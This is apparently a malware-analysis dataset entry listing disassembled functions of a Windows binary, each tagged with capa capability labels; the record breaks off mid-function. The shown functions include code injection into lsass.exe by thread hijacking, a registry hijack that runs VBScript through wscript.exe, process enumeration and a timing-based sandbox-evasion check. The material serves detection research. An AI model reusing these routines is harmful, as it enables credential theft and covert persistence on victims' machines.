joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140010bf0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x78
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str..rhh
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140010c2f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140010d50
lea r8, [rsp + 0x50]
lea rdx, [0x1400515d0]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, [0x1400515e0]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x60]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x20], gethostbyname
lea r9, str.Otleotaueoehiitniaw_Date_Tools_Upgrader_File
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
lea r8, [rsp + 0x40]
lea rdx, [0x140051680]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x30]
lea rdx, str.Open
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x48]
lea rdx, str.Command
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, str.wscript.exe___E:vbscript___1_
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x58]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x78
ret
Function at 0x140011498
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1538
call fcn.1400310b0
sub rsp, rax
mov qword [rsp + 0x1510], 0xfffffffffffffffe
mov dword [rsp + 0x1508], 0
lea rdx, [0x140050f5a]
lea rcx, [rsp + 0x14e0]
call fcn.140012584
nop
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x13c0]
call fcn.1400116b8
nop
lea rcx, [rsp + 0x14e0]
call fcn.140002fb8
lea rcx, [rsp + 0x13c0]
call fcn.1400116dc
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.14001415c
mov r8d, reloc.WS2_32.dll_ntohs
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400141a0
mov r8d, 1
mov edx, 3
lea rcx, [rsp + 0x13d0]
call fcn.1400141d0
nop
mov dword [rsp + 0x14d0], 0
jmp 0x140011566
mov eax, dword [rsp + 0x14d0]
inc eax
mov dword [rsp + 0x14d0], eax
cmp dword [rsp + 0x14d0], 0x20
jge 0x140011674
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.14001a554
mov dword [rsp + 0x14d4], eax
cmp dword [rsp + 0x14d4], 0xa
jge 0x1400115a7
mov eax, dword [rsp + 0x14d4]
add eax, 0x30
mov dword [rsp + 0x1518], eax
jmp 0x1400115b8
mov eax, dword [rsp + 0x14d4]
add eax, 0x57
mov dword [rsp + 0x1518], eax
mov al, byte [rsp + 0x1518]
mov byte [rsp + 0x14d8], al
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x1400115e9
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1520], rax
jmp 0x1400115f5
mov qword [rsp + 0x1520], 0
mov dl, byte [rsp + 0x14d8]
mov rcx, qword [rsp + 0x1520]
call fcn.14001a588
cmp dword [rsp + 0x14d0], 7
je 0x140011631
cmp dword [rsp + 0x14d0], 0xb
je 0x140011631
cmp dword [rsp + 0x14d0], 0xf
je 0x140011631
cmp dword [rsp + 0x14d0], 0x13
jne 0x14001166f
lea rax, [rsp + 0x13d0]
test rax, rax
je 0x140011654
lea rax, [rsp + 0x13d0]
add rax, 0x10
mov qword [rsp + 0x1528], rax
jmp 0x140011660
mov qword [rsp + 0x1528], 0
mov dl, 0x2d
mov rcx, qword [rsp + 0x1528]
call fcn.14001a588
jmp 0x140011556
mov rdx, qword [rsp + 0x1540]
lea rcx, [rsp + 0x13d0]
call fcn.1400142f4
mov eax, dword [rsp + 0x1508]
or eax, 1
mov dword [rsp + 0x1508], eax
lea rcx, [rsp + 0x13d0]
call fcn.1400116f0
mov rax, qword [rsp + 0x1540]
add rsp, 0x1538
ret
Function at 0x140011e44
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140011e94
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140011ee5
lea rdx, [rsp + 0x4c]
mov rcx, qword [rsp + 0x280]
call fcn.14001b368
movzx eax, al
test eax, eax
je 0x140011ebf
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140011ee5
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140011e94
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add rsp, 0x278
ret

Function at 0x140011ef0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov dword [rsp + 0x30], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140011f21
xor eax, eax
jmp 0x140011f87
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140011f78
lea rdx, [rsp + 0x6c]
mov rcx, qword [rsp + 0x290]
call fcn.140030c48
test eax, eax
jne 0x140011f63
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x30], eax
jmp 0x140011f78
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
mov dword [rsp + 0x20], eax
jmp 0x140011f3c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x30]
add rsp, 0x288
ret
Function at 0x140011f90
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub rsp, 0x568
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x520], rax
lea r9, [rsp + 0x548]
xor r8d, r8d
mov edx, 1
mov ecx, shutdown
call qword [rsp + 0x520]
mov dword [rsp + 0x538], 0
mov qword [rsp + 0x550], 0
mov qword [rsp + 0x530], 0
mov qword [rsp + 0x540], 0
lea rcx, str.lsass.exe
call fcn.140011ef0
mov dword [rsp + 0x538], eax
cmp dword [rsp + 0x538], 0
jne 0x140012033
mov eax, 0xffffffff
jmp 0x140012208
mov dword [rsp + 0x60], 0x10000b
mov dword [rsp + 0x500], 0x1c
mov r8d, dword [rsp + 0x538]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x550], rax
cmp qword [rsp + 0x550], 0
jne 0x140012078
mov eax, 0xfffffffe
jmp 0x140012208
mov eax, dword [0x14006dca8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x540], rax
cmp qword [rsp + 0x540], 0
jne 0x1400120bc
mov eax, 0xfffffffd
jmp 0x140012208
mov eax, dword [0x14006dca8]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [0x140065850]
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x558], 0
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x528], rax
lea rdx, [rsp + 0x500]
mov rcx, qword [rsp + 0x528]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1400121f8
mov eax, dword [rsp + 0x50c]
cmp dword [rsp + 0x538], eax
jne 0x1400121db
mov r8d, dword [rsp + 0x508]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x530], rax
cmp qword [rsp + 0x530], 0
jne 0x14001216d
mov eax, 0xfffffffc
jmp 0x140012208
mov eax, dword [rsp + 0x558]
inc eax
mov dword [rsp + 0x558], eax
mov rcx, qword [rsp + 0x530]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x530]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x530]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x530]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp dword [rsp + 0x558], 4
jle 0x1400121db
jmp 0x1400121f8
lea rdx, [rsp + 0x500]
mov rcx, qword [rsp + 0x528]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140012127
mov rcx, qword [rsp + 0x550]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x568
ret
Function at 0x140012210
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x148
mov qword [rsp + 0x130], 0xfffffffffffffffe
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x108]
call fcn.140012aac
nop
lea rcx, [rsp + 0x108]
call fcn.140011e44
movzx eax, al
test eax, eax
jne 0x140012259
mov dword [rsp + 0x138], 1
jmp 0x140012264
mov dword [rsp + 0x138], 0
mov al, byte [rsp + 0x138]
mov byte [rsp + 0x100], al
lea rcx, [rsp + 0x108]
call fcn.140003054
movzx eax, byte [rsp + 0x100]
test eax, eax
je 0x140012376
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x90]
call fcn.14002e760
mov dword [rsp + 0x90], WSASetLastError
mov dword [rsp + 0xcc], 1
xor eax, eax
mov word [rsp + 0xd0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.14002e760
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x50]
call fcn.140012aac
nop
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140012b3c
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14001236c
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x50]
call fcn.140003054
xor eax, eax
add rsp, 0x148
ret

Function at 0x140012380
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x44]
movzx ecx, word [rsp + 0x54]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movzx eax, word [rsp + 0x46]
movzx ecx, word [rsp + 0x56]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x140050738]
addsd xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140051ca8]
comisd xmm0, xmmword [rsp + 0x30]
jbe 0x1400123f3
jmp 0x140012467
call fcn.140011724
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140010784]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x58], rax
call fcn.140010d58
call fcn.140011f90
call fcn.14000fd0c
call fcn.140012210
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x68
ret
Function at 0x14001771c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
je 0x140017759
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x8a]
test eax, eax
jne 0x140017765
mov al, 1
jmp 0x1400179d0
mov dword [rsp + 0x30], 8
call fcn.140012e58
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0xa8], rcx
movzx edx, ax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa8]
call qword [rax + 0x18]
mov word [rsp + 0x70], ax
call fcn.140012e58
mov word [rsp + 0x72], ax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x72]
call fcn.140012ef0
movzx eax, al
test eax, eax
je 0x1400177c7
xor al, al
jmp 0x1400179d0
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140006a5c
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140006ac8
mov rcx, rax
call fcn.140006afc
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x40]
call fcn.1400030dc
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140006ac8
mov rcx, rax
call fcn.140006afc
mov rcx, qword [rsp + 0xe0]
add rcx, 0x8c
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0xb8]
mov r9, rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x80]
call fcn.140006ec4
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0
je 0x14001789f
cmp dword [rsp + 0xc0], 1
je 0x1400178ae
cmp dword [rsp + 0xc0], 3
je 0x14001798a
jmp 0x1400179a5
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x8a], 0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.140006ac8
mov rcx, rax
call fcn.140006afc
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jbe 0x140017940
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.140006ac8
mov rcx, rax
call fcn.140006afc
mov rcx, qword [rsp + 0xe0]
mov r9, qword [rcx + 0x98]
mov r8, qword [rsp + 0x68]
mov edx, 1
mov rcx, rax
call fcn.14002f8e0
cmp qword [rsp + 0x68], rax
je 0x140017940
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x40]
call fcn.140002fb8
mov al, byte [rsp + 0x98]
jmp 0x1400179d0
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x8a]
test eax, eax
jne 0x14001796e
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x40]
call fcn.140002fb8
mov al, byte [rsp + 0x99]
jmp 0x1400179d0
cmp qword [rsp + 0x68], 0
jne 0x140017988
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140005800
jmp 0x1400179c0
mov byte [rsp + 0x9a], 1
lea rcx, [rsp + 0x40]
call fcn.140002fb8
mov al, byte [rsp + 0x9a]
jmp 0x1400179d0
mov byte [rsp + 0x9b], 0
lea rcx, [rsp + 0x40]
call fcn.140002fb8
mov al, byte [rsp + 0x9b]
jmp 0x1400179d0
jmp 0x1400177da
add rsp, 0xd8
ret
Function at 0x14001cae8
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14001cb0a
mov rcx, qword [rsp + 0x40]
call fcn.14001cd74
jmp 0x14001cb21
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x14001cb21
mov rcx, qword [rsp + 0x40]
call fcn.14001cbb0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x14001cbb0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp], 0
jmp 0x14001cbca
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0xe3
jge 0x14001cc5c
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov ecx, dword [rsp]
add ecx, 0x271
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx*4 + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x14001cc23
mov dword [rsp + 0x10], 0x9908b0df
jmp 0x14001cc2b
mov dword [rsp + 0x10], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0x10]
mov ecx, dword [rsp]
add ecx, 0x3fd
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
xor eax, dword [rdx + rcx*4 + 4]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
jmp 0x14001cbc2
jmp 0x14001cc66
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x26f
jge 0x14001ccf8
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov ecx, dword [rsp]
add ecx, 0x271
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx*4 + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
and eax, 1
test eax, eax
je 0x14001ccbf
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14001ccc7
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0xc]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov ecx, dword [rsp]
sub ecx, 0xe3
movsxd rcx, ecx
mov rdx, qword [rsp + 0x30]
xor eax, dword [rdx + rcx*4 + 4]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
jmp 0x14001cc5e
mov eax, dword [rsp]
add eax, 0x270
cdqe
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
and eax, 1
test eax, eax
je 0x14001cd37
mov dword [rsp + 0x18], 0x9908b0df
jmp 0x14001cd3f
mov dword [rsp + 0x18], 0
mov eax, dword [rsp + 4]
shr eax, 1
xor eax, dword [rsp + 0x18]
mov rcx, qword [rsp + 0x30]
xor eax, dword [rcx + 0x634]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
mov rax, qword [rsp + 0x30]
mov dword [rax], 0
add rsp, 0x28
ret
Function at 0x14001cd74
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0x270
jmp 0x14001cd8e
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x4e0
jge 0x14001ce20
mov eax, dword [rsp]
sub eax, 0x270
cdqe
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax*4 + 4]
and eax, 0x80000000
mov ecx, dword [rsp]
sub ecx, 0x26f
movsxd rcx, ecx
mov rdx, qword [rsp + 0x20]
mov ecx, dword [rdx + rcx*4 + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
and eax, 1
test eax, eax
je 0x14001cde7
mov dword [rsp + 8], 0x9908b0df
jmp 0x14001cdef
mov dword [rsp + 8], 0
mov eax, dword [rsp + 4]
shr eax, 1
xor eax, dword [rsp + 8]
mov ecx, dword [rsp]
sub ecx, 0xe3
movsxd rcx, ecx
mov rdx, qword [rsp + 0x20]
xor eax, dword [rdx + rcx*4 + 4]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x20]
mov dword [rdx + rcx*4 + 4], eax
jmp 0x14001cd86
add rsp, 0x18
ret
Function at 0x1400240d0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140026810
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1400240e0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140026840
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140026750
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140026810
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140026810
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140026840
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140026840
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140026870
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x140026898
lea r9, [rsp + 0x50]
jmp 0x1400268a2
cmp edx, 1
jne 0x1400268eb
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14002693e
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x140026d60
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x44]
mov rcx, rbx
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov rcx, rbx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, rax
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x140026dde
call fcn.140024040
jmp 0x140026e46
test rsi, rsi
jne 0x140026df1
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x140026df5
mov qword [rdi + 8], rsi
mov edx, dword [rsp + 0x68]
mov rax, qword [rdi + 8]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov r9d, ebp
mov qword [rsp + 0x28], 0
mov dword [rdi + 0x20], edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x140026e44
call fcn.140024040
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x10], 0
mov eax, ebx
jmp 0x140026e46
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140026f30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
